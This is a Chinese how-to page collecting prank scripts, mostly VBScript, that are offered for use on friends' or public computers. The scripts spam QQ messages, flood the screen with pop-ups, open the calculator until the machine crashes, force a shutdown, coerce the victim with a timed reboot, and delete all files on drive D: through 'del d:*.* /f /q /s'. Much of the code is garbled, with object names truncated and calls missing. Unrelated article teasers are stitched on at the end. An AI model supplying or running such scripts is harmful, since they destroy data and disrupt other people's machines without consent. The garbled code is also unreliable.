整人代碼大全
操作方法
【代碼一】
你打開好友的聊天對話框,然後記下在你QQ裏好友的暱稱,把下面代碼裏的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼裏的數字10改一下即可)。
代碼如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("l")
for i=1 to 10
p 700
wsh.AppActivate("與 xx 聊天中")
Keys "^v"
Keys i
Keys "%s"
next
【代碼二】
我就用這個程序放在學校圖書館查詢書刊的機器上,好多人都拿它沒辦法。
do
msgbox "You are foolish!"
loop
【代碼三】
打開無數個計算器,直到死機。
set wsh=createobject("l")
do
"calc"
loop
【代碼四】
直接關機。
dim WSHshell
set WSHshell = teobject("l")
"shutdown -f -s -t 00",0 ,true
【代碼五】
刪除D:所有文件。
dim WSHshell
set WSHshell = teobject("l")
"cmd /c ""del d:*.* / f /q /s""",0 ,true
【代碼六】
不斷彈出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop
【代碼七】
不斷按下alt+f4(開什麼都關閉)。
dim WSHshell
set WSHshell = teobject("l")
while(1)
Keys "%{F4}"
loop
【代碼八】
按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ,500可以隨意更改)。
dim s
do until s=500
s=s+1
msgbox "哥們,給我按500次回車吧",64
loop
【代碼九】
如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的
時間內關機 我設置的是3分鐘 只要輸入就解除了 當然如果不輸的話也有解除的辦法。代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = teobject("l")
" /c shutdown -r -t 180 -c ""說我是豬,不說我是豬就一分鐘關機,不信,試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = teobject("l")
" /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
【代碼十】
網頁整人效果代碼,想看效果,只要複製這下面的所有代碼保存在text文件裏,修改文件後綴爲txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網頁特效||---很噁心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('爲什麼把鼠標放到這裏?');
alert('我不是說過不可以這樣嗎?');
alert('你把我的話當什麼了?');
alert('你知道錯了嗎?');
alert('什麼?你居然....');
alert('居然還沒意識到自己做錯了?');
alert('那好,你要爲此付出代價!');
alert('我要你在這裏點足一千下......');
alert('什麼?你開始有點後悔了?');
alert('何必呢?');
alert('你當初幹什麼去了?');
alert('不原諒你!');
alert('好從現在開始再點995下......');
alert('你的手開始累了嗎?');
alert('什麼?你已經沒力氣了?');
alert('你一直在求我原諒你啊!');
alert('看來你是真的知道錯了!');
alert('下次你還會這麼做嗎?');
alert('真的不會了?');
alert('那好,今天就放你一馬!');
alert('寫封信給我說聲對不起!');
alert('你能這麼做我很高興!!!');
lor='black';
lor='White';
='mailto:mygod@god?subject=對不起,下次不敢了!';">不許把鼠標移到這裏</a>
</body>
</html>
-
ai素材製作之雄鹿篇
雄鹿一般都有2只萌萌噠的鹿角,很可愛,相對的雌鹿就很少見,在動物園裏,它們也是很受小朋友喜愛的動物,今天,小編爲您介紹:ai素材製作之雄鹿篇。工具/材料ai軟件電腦操作方法01首先我們打開我們的ai軟件,接着我們新建一個名字爲“雄鹿”的ai文件,如下圖所示。02接着我們第...
-
家裏如何快速地安裝電信寬帶——親身經歷
家裏面要如何快速的安裝好電信寬帶,讓小編告訴你指南。操作方法(01)先要預約,預約後電信承諾是72小時之內上門安裝。(02)預約時要確認裝寬帶的地址是否具有施工條件,例如網絡端口,網絡速率等。(03)在營業廳交錢後會得到預約單號,稍後會有工作人員聯繫安裝時間。(04)如果等的...
-
如何製作圖片火海燃燒效果
如何製作圖片火海燃燒效果呢?下面,就讓小編給大家介紹一下吧。操作方法01首先,我們需要打開我們電腦的ps軟件(鼠標左鍵雙擊桌面上的ps快捷方式或者是鼠標右鍵再選擇打開都是可以的)。02打開ps軟件之後,打開一張圖片;接着,複製背景圖層。03添加分層雲彩濾鏡效果;然後,執行...
-
cad意外關閉如何恢復
在用CAD工作的時候,免不了有原因導致電腦關機使工作數據丟失.那麼要怎麼恢復數據呢?操作方法(01)打開CAD軟件,打開工具-選項-打開和保存裏邊的安全措施.有一個自動保存,默認設置的是10分鐘,根據自己的需要可以改,(02)首先,打開工具欄的工具選項.在菜單中選擇"選項"...